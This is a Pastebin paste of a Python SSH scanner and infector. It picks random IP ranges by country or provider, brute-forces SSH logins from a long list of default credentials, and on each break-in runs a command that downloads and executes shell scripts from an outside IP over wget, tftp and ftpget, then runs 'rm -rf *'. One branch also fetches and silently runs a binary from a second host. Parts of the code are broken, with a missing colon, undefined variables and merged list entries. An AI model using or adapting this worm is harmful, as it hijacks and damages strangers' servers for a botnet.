Advertisement
Guest User

Untitled

a guest
Jun 27th, 2018
3,106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.08 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #CREDZ TO 1337INGS AND ~B1NARY~
  3.  
  4. import threading, paramiko, random, socket, time, sys
  5.  
  6. cmd='cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.203.248.221/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 89.203.248.221 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 89.203.248.221; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 89.203.248.221 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'
  7. blacklist = [
  8. '127'
  9. ]
  10. passwords = [
  11. "root:root",
  12. "root:lol",
  13. "root:admin",
  14. "ubnt:ubnt"
  15. "root:1234",
  16. "admin:1234",
  17. "root:toor",
  18. "root:sex",
  19. "root:test",
  20. "pi:pi",
  21. "root:cent6"
  22. "root:admin",
  23. "root:root",
  24. "admin:password",
  25. "ubnt:ubnt"
  26. "root:1234",
  27. "root:123",
  28. "root:12345",
  29. "root:Password",
  30. "root:lol",
  31. "root:toor",
  32. "root:centos7",
  33. "root:qwerty",
  34. "root:centos6",
  35. "root:pussy",
  36. "root:user",
  37. "root:money",
  38. "root:love",
  39. "root:1",
  40. "root:2",
  41. "root:3",
  42. "root:0",
  43. "root:987",
  44. "root:5",
  45. "root:beer",
  46. "root:cia",
  47. "root:fbi",
  48. "root:hack",
  49. "root:bank",
  50. "root:gov",
  51. "root:youtube",
  52. "root:website",
  53. "root:server",
  54. "root:weed",
  55. "root:420",
  56. "root:computer",
  57. "root:linux",
  58. "root:debain",
  59. "root:cent",
  60. "root:vps",
  61. "root:VPS",
  62. "root:light",
  63. "root:cap",
  64. "root:hat",
  65. "root:butt",
  66. "root:but",
  67. "root:name",
  68. "root:god",
  69. "root:work",
  70. "root:job",
  71. "root:bailey",
  72. "root:123456",
  73. "root:michael",
  74. "root:superman",
  75. "root:batman",
  76. "root:starwars",
  77. "root:startrek",
  78. "root:desktop",
  79. "root:windows",
  80. "root:netflix",
  81. "root:shoe",
  82. "root:foot",
  83. "root:tor",
  84. "root:rot",
  85. "root:roots",
  86. "root:root1",
  87. "root:root2",
  88. "root:root3",
  89. "root:root4",
  90. "root:root5",
  91. "root:root6",
  92. "root:root12",
  93. "root:root123",
  94. "root:root1234",
  95. "root:root12345",
  96. "root:root123456",
  97. "root:iphone",
  98. "root:apple",
  99. "root:verizon",
  100. "root:talktalk",
  101. "tim:tim",
  102. "root:at&t",
  103. "root:strighttalk",
  104. "root:|",
  105. "root:=",
  106. "root:abc",
  107. "root:xyz",
  108. "root:abc1",
  109. "root:abc12",
  110. "root:abc123",
  111. "root:abc1234",
  112. "root:abc12345",
  113. "root:abc123456",
  114. "root:sync",
  115. "root:-",
  116. "root:",
  117. "root: ",
  118. "root:a",
  119. "root:z",
  120. "root:python",
  121. "root:perl",
  122. "root:dos",
  123. "root:sql",
  124. "root:database",
  125. "root:minecraft",
  126. "root:minecraft1",
  127. "root:minecraft2",
  128. "root:minecraft3",
  129. "root:minecraft4",
  130. "root:minecraft5",
  131. "root:minecraft6",
  132. "root:minecraft7",
  133. "root:minecraft8",
  134. "root:minecraft9",
  135. "root:minecraft0",
  136. "root:minecraft12",
  137. "root:minecraft123",
  138. "root:minecraft1234",
  139. "root:minecraft12345",
  140. "root:minecraft123456",
  141. "root:minecraft1234567"
  142. "root:minecraft12345678",
  143. "root:minecraft123456789",
  144. "root:minecraft1234567890",
  145. "root:login",
  146. "root:login123",
  147. "root:solo",
  148. "root:passw0rd",
  149. "root:password123",
  150. "root:admins",
  151. "root:cigs",
  152. "root:ruby",
  153. "root:html",
  154. "root:php",
  155. "root:youtuber",
  156. "root:pewdiepiefan",
  157. "root:pewdiepie",
  158. "root:cod",
  159. "root:android",
  160. "root:phone",
  161. "root:pass",
  162. "root:school",
  163. "root:q",
  164. "root:webserver",
  165. "root:college",
  166. "root:keys",
  167. "root:dog",
  168. "root:cat",
  169. "admin:admin",
  170. "admin:admin1",
  171. "admin:admin2",
  172. "admin:admin3",
  173. "admin:admin4",
  174. "admin:admin5",
  175. "admin:admin6",
  176. "admin:admin7",
  177. "admin:admin8",
  178. "admin:admin9",
  179. "admin:admin0",
  180. "admin:admin12",
  181. "admin:admin123",
  182. "admin:admin1234",
  183. "admin:admin12345",
  184. "admin:admin123456"
  185. "admin:admin1234567",
  186. "admin:admin12345678",
  187. "admin:admin123456789",
  188. "admin:admin1234567890",
  189. "admin:admin098",
  190. "admin:admin987",
  191. "admin:admin321",
  192. ]
  193.  
  194.  
  195.  
  196.  
  197.  
  198. #IPRANGES
  199. usa = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  200. russia = ["122","131","161","37","186","187","31","188","201","2","200"]
  201. lsd = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  202. shrooms = ["122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  203. xanax = ["23.96","23.97","23.98","23.99","23.100","23.101","23.102","23.103","70.37","104.40","104.41","104.42","104.43","104.44","104.45","104.46","104.47","104.146","104.147","104.208","104.209","104.210","104.210","104.211","104.212","104.213","104.214","104.215","138.91","168.61","168.62","168.63","113.53","125.125","125.126","125.127"]
  204. busybox = ["199.180","142.0","158.69"]
  205. wholesale = ["208.67"]
  206. ecatel = ["89.248"]
  207. china = ["65.19","220.248"]
  208. india = ["1.6","1.7","1.22","1.23"]
  209. cisco = ["1"]
  210. cdn = ["217.106","217.106"]
  211. ovh = ["5.39","5.135","5.196","8.7","8.18","8.20","8.21","8.24","8.29","8.30","8.33","37.59","37.187","46.105"]
  212. lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  213. lucky2 = ["122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  214. lucky3 = ["23.96","23.97","23.98","23.99","23.100","23.101","23.102","23.103","70.37","104.40","104.41","104.42","104.43","104.44","104.45","104.46","104.47","104.146","104.147","104.208","104.209","104.210","104.210","104.211","104.212","104.213","104.214","104.215","138.91","168.61","168.62","168.63","113.53","125.125","125.126","125.127"]
  215. lucky2 = ["119.91","119.92","119.93","113.53"]
  216. lol = ["1","2","5","119","180","113","125","122","46","101",""]
  217. load = ["125.25","125.26","125.27","119.92","119.93","180.180","113.53","185.52","122.52","122.53"]
  218. god = ["122.52","122.53","119.92","119.93"]
  219. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  220.  
  221.  
  222.  
  223.  
  224.  
  225. #PASSFILES
  226. if sys.argv[4] == '1':
  227. passwords = ["root:root", "root:admin", "root:root", "admin:password", "ubnt:ubnt" "root:1234", "root:123", "root:12345", "root:Password", "root:lol"]
  228. if sys.argv[4] == '2':
  229. passwords = ["root:toor", "root:centos7", "root:qwerty", "root:centos6", "root:pussy", "root:user", "root:money", "root:love", "root:1", "root:2"]
  230. if sys.argv[4] == '3':
  231. passwords = ["root:3", "root:0", "root:987", "root:5", "root:beer", "root:cia", "root:fbi", "root:hack", "root:bank", "root:gov", "root:youtube"]
  232. if sys.argv[4] == '4':
  233. passwords = ["root:website", "root:server", "root:weed", "root:420", "root:computer", "root:linux", "root:debain", "root:cent", "root:vps"]
  234. if sys.argv[4] == '5':
  235. passwords = ["root:VPS", "root:light", "root:cap", "root:hat", "root:butt", "root:but", "root:name", "root:god", "root:work", "root:job"]
  236. if sys.argv[4] == '6':
  237. passwords = ["root:bailey", "root:123456", "root:michael", "root:superman", "root:batman", "root:starwars", "root:startrek", "root:desktop"]
  238. if sys.argv[4] == '7':
  239. passwords = ["root:windows", "root:netflix", "root:shoe", "root:foot", "root:tor", "root:rot", "root:roots", "root:root1", "root:root2"]
  240. if sys.argv[4] == '8':
  241. passwords = ["root:root3","root:root4","root:root5","root:root6","root:root12","root:root123","root:root1234","root:root12345","root:root123456"]
  242. if sys.argv[4] == '9':
  243. passwords = ["root:iphone","root:apple","root:verizon","root:talktalk","tim:tim","root:at&t","root:strighttalk","root:|","root:=","root:abc"]
  244. if sys.argv[4] == '10':
  245. passwords = ["root:xyz","root:abc1","root:abc12","root:abc123","root:abc1234","root:abc12345","root:abc123456","root:sync","root:-","root:"]
  246. if sys.argv[4] == '11':
  247. passwords = ["root: ","root:a","root:z","root:python","root:perl","root:dos","root:sql","root:database"]
  248. if sys.argv[4] == '12':
  249. passwords = ["root:minecraft","root:minecraft1""root:minecraft2","root:minecraft3","root:minecraft4","root:minecraft5"]
  250. if sys.argv[4] == '13':
  251. passwords = ["root:minecraft9","root:minecraft0","root:minecraft12","root:minecraft123","root:minecraft1234","root:minecraft12345","root:minecraft123456"]
  252. if sys.argv[4] == '14':
  253. passwords = ["root:minecraft6","root:minecraft7","root:minecraft8","root:minecraft1234567","root:minecraft12345678","root:minecraft123456789","root:minecraft1234567890"]
  254. if sys.argv[4] == '15':
  255. passwords = ["root:login","root:login123","root:solo","root:passw0rd","root:password123","root:admins","root:cigs","root:ruby","root:html","root:php","root:youtuber"]
  256. if sys.argv[4] == '16':
  257. passwords = ["root:pewdiepiefan","root:pewdiepie","root:cod","root:android","root:phone","root:pass","root:school","root:q","root:webserver","root:college","root:keys"]
  258. if sys.argv[4] == '17':
  259. passwords = ["root:dog","root:cat"]
  260. if sys.argv[4] == '18':
  261. passwords = ["admin:admin","admin:admin1","admin:admin2","admin:admin3","admin:admin4","admin:admin5","admin:admin6","admin:admin7","admin:admin8","admin:admin9"]
  262. if sys.argv[4] == '19':
  263. passwords = ["admin:admin0","admin:admin12","admin:admin123","admin:admin1234","admin:admin12345","admin:admin123456""admin:admin1234567","admin:admin12345678"]
  264. if sys.argv[4] == '20':
  265. passwords = ["admin:admin123456789","admin:admin1234567890","admin:admin098","admin:admin987","admin:admin321","root:123",]
  266. if sys.argv[4] == 'default':
  267. passwords = ["root:root", "root:admin", "admin:1234"]
  268. if sys.argv[4] == 'lmfao':
  269. passwords = ["root:root", "root:toor", "root:admin", "admin:1234", "oracle:oracle", "root:alpine"]
  270. if sys.argv[4] == 'routers':
  271. passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password"]
  272. if sys.argv[4] == 'perl':
  273. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  274. if sys.argv[4] == 'ubuntu':
  275. passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ]
  276. if sys.argv[4] == 'root':
  277. passwords = [ "root:root","root:test" ]
  278. if sys.argv[4] == 'vps1':
  279. passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Love2020", "root:Zero", "root:Password", "root:password"]
  280. if sys.argv[4] == 'vps2':
  281. passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
  282. if sys.argv[4] == 'vps3':
  283. passwords = [ "root:maxided", "root:centos6svm", "root:football", "root:monkey", "root:696969", "root:abc123"]
  284. if sys.argv[4] == 'r00ted':
  285. passwords = [ "localhost:root", "B1NARY:B1NARY", "root:r00tnull3d#", "root:Flunzy2016", "bash:root"]
  286. if sys.argv[4] == 'brute':
  287. passwords = [ "root:centos6svm", "root:root", "root:toor", "root:abc123", "root:maxided"]
  288. if sys.argv[4] == 'lol':
  289. passwords = [ "admin:1234"]
  290.  
  291.  
  292.  
  293. #IP CLASS
  294. ipclassinfo = sys.argv[2]
  295. if ipclassinfo == "A":
  296. ip1 = sys.argv[3]
  297. elif ipclassinfo == "B":
  298. ip1 = sys.argv[3].split(".")[0]
  299. ip2 = sys.argv[3].split(".")[1]
  300. elif ipclassinfo == "C":
  301. ips = sys.argv[3].split(".")
  302. num=0
  303. for ip in ips:
  304. num=num+1
  305. if num == 1:
  306. ip1 = ip
  307. elif num == 2:
  308. ip2 = ip
  309. elif num == 3:
  310. ip3 = ip
  311. class sshscanner(threading.Thread):
  312. global passwords
  313. global ipclassinfo
  314. if ipclassinfo == "A":
  315. global ip1
  316. elif ipclassinfo == "B":
  317. global ip1
  318. global ip2
  319. elif ipclassinfo == "C":
  320. global ip1
  321. global ip2
  322. global ip3
  323. def run(self):
  324. while 1:
  325. try:
  326. while 1:
  327. thisipisbad='no'
  328. if ipclassinfo == "A":
  329. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  330. elif ipclassinfo == "B":
  331. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  332. elif ipclassinfo == "C":
  333. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  334. elif ipclassinfo == "LUCKY1":
  335. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  336. elif ipclassinfo == "LUCKY2":
  337. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  338. elif ipclassinfo == "LUCKY3":
  339. self.host = random.choice(lucky3)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  340. elif ipclassinfo == "USA":
  341. self.host = random.choice(usa)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  342. elif ipclassinfo == "BRAZIL":
  343. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  344. elif ipclassinfo == "RUSSIA":
  345. self.host = random.choice(russia)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  346. elif ipclassinfo == "LSD":
  347. self.host = random.choice(lsd)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  348. elif ipclassinfo == "SHROOMS":
  349. self.host = random.choice(shrooms)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  350. elif ipclassinfo == "XANAX":
  351. self.host = random.choice(xanax)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  352. elif ipclassinfo == "CISCO":
  353. self.host = random.choice(cisco)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  354. elif ipclassinfo == "BUSYBOX":
  355. self.host = random.choice(busybox)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  356. elif ipclassinfo == "OVH":
  357. self.host = random.choice(ovh)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  358. elif ipclassinfo == "WHOLESALE":
  359. self.host = random.choice(wholesale)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  360. elif ipclassinfo == "ECATEL":
  361. self.host = random.choice(ecatel)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  362. elif ipclassinfo == "CHINA":
  363. self.host = random.choice(china)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  364. elif ipclassinfo == "INDIA":
  365. self.host = random.choice(india)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  366. elif ipclassinfo == "CDN":
  367. ssh.exec_command("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  368. self.host = random.choice(cdn)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  369. elif ipclassinfo == "AWS"
  370. self.host = random.choice(aws)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  371. elif ipclassinfo == "RANDOM":
  372. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  373. else:
  374. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  375. for badip in blacklist:
  376. if badip in self.host:
  377. thisipisbad='yes'
  378. if thisipisbad=='no':
  379. break
  380. username='root'
  381. password=""
  382. port = 22
  383. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  384. s.settimeout(3)
  385. s.connect((self.host, port))
  386. s.close()
  387. ssh = paramiko.SSHClient()
  388. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  389. dobreak=False
  390. for passwd in passwords:
  391. if ":n/a" in passwd:
  392. password=""
  393. else:
  394. password=passwd.split(":")[1]
  395. if "n/a:" in passwd:
  396. username=""
  397. else:
  398. username=passwd.split(":")[0]
  399. try:
  400. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  401. dobreak=True
  402. break
  403. except:
  404. pass
  405. if True == dobreak:
  406. break
  407. badserver=True
  408. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  409. output = stdout.read()
  410. if "inet addr" in output:
  411. badserver=False
  412. if badserver == False:
  413. print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  414. ssh.exec_command(""+cmd+"")
  415. time.sleep(20)
  416. ssh.close()
  417. except:
  418. pass
  419.  
  420. for x in range(0,int(sys.argv[1])):
  421. try:
  422. t = sshscanner()
  423. t.start()
  424. except:
  425. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement